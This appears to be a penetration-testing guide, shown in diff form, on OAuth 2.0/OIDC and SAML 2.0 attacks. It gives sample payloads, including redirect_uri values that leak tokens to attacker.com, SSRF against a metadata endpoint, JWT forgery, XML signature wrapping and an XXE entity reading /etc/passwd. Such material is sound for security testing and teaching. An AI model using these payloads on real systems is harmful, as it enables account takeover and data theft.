OAuth 2.0 and SAML 2.0 are complex Single Sign-On (SSO) and authorization protocols. Due to their complexity, misconfigurations and implementation flaws are common, leading to critical vulnerabilities such as authentication bypass, account takeover (ATO), and privilege escalation.
|
|
11
|
+
|
|
12
|
+
## OAuth 2.0 & OpenID Connect (OIDC)
|
|
13
|
+
|
|
14
|
+
OAuth 2.0 is an authorization framework, while OpenID Connect is an authentication layer built on top of it. Typical flows include the Authorization Code flow, Implicit flow, and Client Credentials flow.
|
|
15
|
+
|
|
16
|
+
### Core OAuth 2.0 Attack Vectors
|
|
17
|
+
|
|
18
|
+
#### 1. Authorization Code Bypass & CSRF (Missing/Weak State)
|
|
19
|
+
If the `state` parameter is missing, predictable, or not properly validated bound to the user's session, attackers can perform CSRF to link their own external account (e.g., Google, Facebook) to the victim's application account.
|
|
20
|
+
|
|
21
|
+
**Detection:**
|
|
22
|
+
- Check if `state` is present in the initial `/authorize` request.
|
|
23
|
+
- Attempt to reuse a `state` token across different sessions.
|
|
24
|
+
- Send the callback `/callback?code=ATTACKER_CODE` without a state parameter.
|
|
25
|
+
|
|
26
|
+
**Exploit:**
|
|
27
|
+
```http
|
|
28
|
+
# Attacker initiates flow, intercepts their valid code
|
|
29
|
+
GET /auth/callback?code=ATTACKER_VALID_CODE&state=VICTIM_STATE HTTP/1.1
|
|
30
|
+
Host: target.com
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
#### 2. Pre-Account Takeover (Account Linking Flaws)
|
|
34
|
+
Occurs when an application allows users to sign up via OAuth, but fails to verify the email address or improperly links accounts based on unverified email claims.
|
|
35
|
+
- **Exploit:** Attacker registers a standard application account using the victim's email (if email verification is missing or bypassable). When the victim later logs in via OAuth (e.g., Sign in with Google), the application links the verified OAuth identity to the attacker-controlled account context, granting the attacker access to the victim's data.
|
|
36
|
+
|
|
37
|
+
#### 3. Flawed Redirect URI Validation (Open Redirects to Token Leakage)
|
|
38
|
+
If `redirect_uri` is loosely validated, authorization codes or access tokens can be leaked to attacker-controlled domains.
|
|
39
|
+
- **Path Traversal:** `redirect_uri=https://target.com/callback/../../attacker.com`
|
|
40
|
+
- **Subdomain Takeover:** `redirect_uri=https://sub.target.com/callback` (where `sub.target.com` is vulnerable)
|
|
41
|
+
- **Parameter Pollution:** `redirect_uri=https://target.com/callback&redirect_uri=https://attacker.com`
|
|
42
|
+
- **CRLF Injection:** Injecting new lines to bypass regex matching.
|
|
43
|
+
- **Open Redirect Chaining:** If the valid `redirect_uri` itself has an open redirect vulnerability, it can leak the fragment/query parameters: `redirect_uri=https://target.com/valid_callback?next=https://attacker.com`
|
|
44
|
+
|
|
45
|
+
#### 4. PKCE (Proof Key for Code Exchange) Downgrade & Bypass
|
|
46
|
+
PKCE prevents authorization code interception in public clients (mobile apps, SPAs).
|
|
47
|
+
- **Downgrade Attack:** If the server supports PKCE but doesn't *enforce* it, an attacker catching the `code` can exchange it without providing `code_verifier`.
|
|
48
|
+
- **Method Manipulation:** Dropping `code_challenge_method=S256` might cause the server to fall back to `plain`, making the challenge equal to the verifier.
|
|
49
|
+
|
|
50
|
+
#### 5. SSRF via OpenID Connect Dynamic Client Registration (DCR)
|
|
51
|
+
DCR allows applications to automatically register themselves as clients with an IdP.
|
|
52
|
+
- **logo_uri / policy_uri SSRF:** IdPs may fetch resources specified during registration.
|
|
53
|
+
- **request_uri SSRF:** In OIDC, a client can pass authentication parameters via a JWT hosted at a `request_uri`. The IdP fetches this URI, leading to SSRF.
|
|
54
|
+
|
|
55
|
+
```http
|
|
56
|
+
# Exploiting request_uri SSRF on IdP
|
|
57
|
+
GET /authorize?client_id=YOUR_CLIENT_ID&response_type=code&request_uri=http://internal-metadata-server/latest/meta-data/ HTTP/1.1
|
|
58
|
+
Host: idp.target.com
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
#### 6. JWT Attacks (OIDC Tokens)
|
|
62
|
+
Since OIDC relies heavily on JSON Web Tokens (ID Tokens), all JWT attacks apply to the SSO implementation:
|
|
63
|
+
- **`alg: None` bypass:** Changing the algorithm to `None` and stripping the signature.
|
|
64
|
+
- **HMAC/RSA Key Confusion:** Changing `alg` from `RS256` to `HS256` and signing the token with the public key as the secret.
|
|
65
|
+
- **JKU/JWK Header Injection:** Instructing the server to fetch the public key (to verify the token) from an attacker-controlled URL (`jku`) or embedding the attacker's public key directly within the header (`jwk`).
|
|
66
|
+
- **kid (Key ID) Path Traversal:** `kid: "../../public/dev_key.pem"` or SQL injection `kid: "key1' UNION SELECT 'attacker_key'--"`.
|
|
67
|
+
|
|
68
|
+
---
|
|
69
|
+
|
|
70
|
+
## SAML 2.0
|
|
71
|
+
|
|
72
|
+
Security Assertion Markup Language (SAML) uses XML-based assertions between an Identity Provider (IdP) and a Service Provider (SP).
|
|
73
|
+
|
|
74
|
+
### Core SAML 2.0 Attack Vectors
|
|
75
|
+
|
|
76
|
+
#### 1. XML Signature Wrapping (XSW)
|
|
77
|
+
SAML messages are digitally signed, but SPs often fail to validate *which* part of the XML is signed versus which part is processed for authentication. XSW involves manipulating the XML structure so the signature validates against an original, unmodified assertion, while the application logic parses a forged, injected assertion.
|
|
78
|
+
- **XSW1:** Clone the `Response` and wrap the legitimate assertion.
|
|
79
|
+
- **XSW2:** Wrap the forged assertion inside the legitimate assertion.
|
|
80
|
+
- **XSW3-8:** Various structural manipulations (changing IDs, duplicating `Assertion` blocks, wrapping the signature itself).
|
|
81
|
+
- **Tooling:** Use `SAML Raider` (Burp Extension) to automatically generate XSW 1-8 payloads.
|
|
82
|
+
|
|
83
|
+
#### 2. Signature Stripping
|
|
84
|
+
If the SP requires assertions to be signed but doesn't strictly enforce it, an attacker might simply remove the `<ds:Signature>` block entirely. If the SP falls back to unauthenticated parsing, ATO occurs.
|
|
85
|
+
|
|
86
|
+
#### 3. Certificate Faking / IdP Spoofing
|
|
87
|
+
If the SP doesn't explicitly check the thumbprint or issuer of the certificate signing the SAML response (relying solely on cryptographic validity), an attacker can sign a forged SAML response with their own self-signed certificate.
|
|
88
|
+
|
|
89
|
+
#### 4. SAML Comment Injection
|
|
90
|
+
If the XML parser behavior differs from the application logic string parsing, attackers can alter user identifiers.
|
|
91
|
+
- **Attack:** An attacker registers `admin<!-- test -->@target.com`.
|
|
92
|
+
- **Execution:** When authenticated, the SAML XML contains `<NameID>admin<!-- test -->@target.com</NameID>`.
|
|
93
|
+
- **Bypass:** The XML parser validates the signature. However, if the application extracts the text node and ignores comments, it might interpret the identity as `admin@target.com`, leading to ATO of the admin account.
|
|
94
|
+
|
|
95
|
+
#### 5. XML External Entity (XXE) Execution
|
|
96
|
+
Standard XXE attacks against the SAML SP endpoint. Since SAML is purely XML, injecting external entities into the `SAMLResponse` can result in LFI or SSRF.
|
|
97
|
+
```xml
|
|
98
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
99
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
100
|
+
<samlp:Response ...>
|
|
101
|
+
<saml:Issuer>&xxe;</saml:Issuer>
|
|
102
|
+
...
|
|
103
|
+
</samlp:Response>
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
#### 6. XSLT Injection
|
|
107
|
+
Some SAML implementations parse arbitrary XSLT stylesheets included within the XML Signature `<ds:Transforms>` block. Attackers can inject malicious XSLT to achieve RCE or file read.
|
|
108
|
+
```xml
|
|
109
|
+
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
|
|
110
|
+
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
|
111
|
+
... malicious XSLT payloads ...
|
|
112
|
+
</xsl:stylesheet>
|
|
113
|
+
</ds:Transform>
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
## Testing Methodology
|
|
117
|
+
|
|
118
|
+
### For OAuth 2.0 / OIDC
|
|
119
|
+
1. **Map the Implementation:** Identify `client_id`, `redirect_uri`, `response_type`, `state`, `code_challenge`.
|
|
120
|
+
2. **State & CSRF Testing:** Drop the `state` parameter or swap it with another session's state. Attempt an account linking CSRF.
|
|
121
|
+
3. **Redirect URI Fuzzing:** Test all variations of open redirects (`.`, `..`, `@`, `\`, encoded characters) on the `redirect_uri`.
|
|
122
|
+
4. **Token Replay & Modification:** Inspect access tokens and ID tokens. If JWT, attempt algorithm downgrade, key confusion, and signature bypass.
|
|
123
|
+
5. **SSRF Probes:** Check if DCR is enabled (`/.well-known/openid-configuration`). Test `logo_uri` and `request_uri` for SSRF.
|
|
124
|
+
6. **Pre-ATO Checks:** Register an account natively using a victim's email. Then attempt to SSO as the victim.
|
|
125
|
+
|
|
126
|
+
### For SAML 2.0
|
|
127
|
+
1. **Intercept SAMLResponse:** Base64 decode the SAML payload passed to the ACS (Assertion Consumer Service) URL.
|
|
128
|
+
2. **Signature Stripping:** Remove the signature block entirely, re-encode, and submit.
|
|
129
|
+
3. **SAML Raider Autotests:** Use the SAML Raider extension in Burp Suite to apply all XSW payloads to the intercepted request.
|
|
130
|
+
4. **XXE Probing:** Inject standard XXE payloads (OOB and error-based) into the assertion tags.
|
|
131
|
+
5. **Comment Injection:** Create accounts like `admin<!--X-->@domain.com` and test for username truncation during parsing.
|
|
132
|
+
6. **Time/Validity Tampering:** Modify `NotBefore` and `NotOnOrAfter` timestamps within the assertion.
|
|
133
|
+
|
|
134
|
+
## Detection Tools
|
|
135
|
+
|
|
136
|
+
```bash
|
|
137
|
+
# jwt_tool - Toolkit for testing JWTs (OIDC)
|
|
138
|
+
python3 jwt_tool.py <JWT> -M pb
|
|
139
|
+
python3 jwt_tool.py <JWT> -T
|
|
140
|
+
|
|
141
|
+
# SAML Provider assessment
|
|
142
|
+
# Use Burp Suite SAML Raider extension.
|
|
143
|
+
# It automatically intercepts SAML responses, decodes them, and provides 1-click XSW and certificate spoofing attacks.
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
## Indicators of Vulnerability
|
|
147
|
+
|
|
148
|
+
- **OAuth:** Predictable `state` parameters; acceptance of `redirect_uri` via Regex rather than strict allowlists; JWTs signed with symmetric algorithms (`HS256`) when relying on public endpoints.
|
|
149
|
+
- **SAML:** Missing constraints on XML signatures (e.g., signing the `Response` but not the `Assertion`); outdated XML parsers allowing DTD definitions (XXE); lack of assertion expiration enforcement.
|
|
150
|
+
|
|
151
|
+
## Impact
|
|
152
|
+
|
|
153
|
+
- **Account Takeover (ATO):** Full access to victim accounts (via XSW, signature stripping, CSRF, or flawed account linking).
|
|
154
|
+
- **Data Exfiltration:** Accessing sensitive user data (PII) via stolen or leaked Access Tokens.
|
|
155
|
+
- **SSRF/RCE:** Exploiting IdP infrastructure via XSLT injection or `request_uri` SSRF.
|
|
156
|
+
- **Bypass 2FA/MFA:** SAML assertions or OAuth tokens are often granted *after* MFA. Forging these tokens bypasses all primary and secondary authentication mechanisms.
|
|
157
|
+
|
|
158
|
+
## Pro Tips
|
|
159
|
+
|
|
160
|
+
1. **URL Encoding with SAML:** SAML bindings differ. HTTP-Redirect uses Deflate + Base64 + URL-encode. HTTP-POST uses just Base64 + URL-encode. Modifying SAML manually? Ensure proper re-encoding based on the binding type.
|
|
161
|
+
2. **Access Token vs ID Token:** In OIDC, the Access Token gives access to APIs (stateless or stateful), while the ID Token is meant for the client app to know *who* logged in. Don't confuse them.
|
|
162
|
+
3. **SAML Issuer Checking:** Just because an XSW attack works, the SP might still validate the `Issuer` field. Ensure you are modifying the correct assertion block that the SP uses for business logic.
|
|
163
|
+
4. **Implicit Flow is Dead:** The OAuth 2.0 Security Best Current Practice deprecates the Implicit Flow (`response_type=token`). If you see it, flag it as a finding and aggressively hunt for token leakage via Referer headers, Open Redirects, and browser histories.
|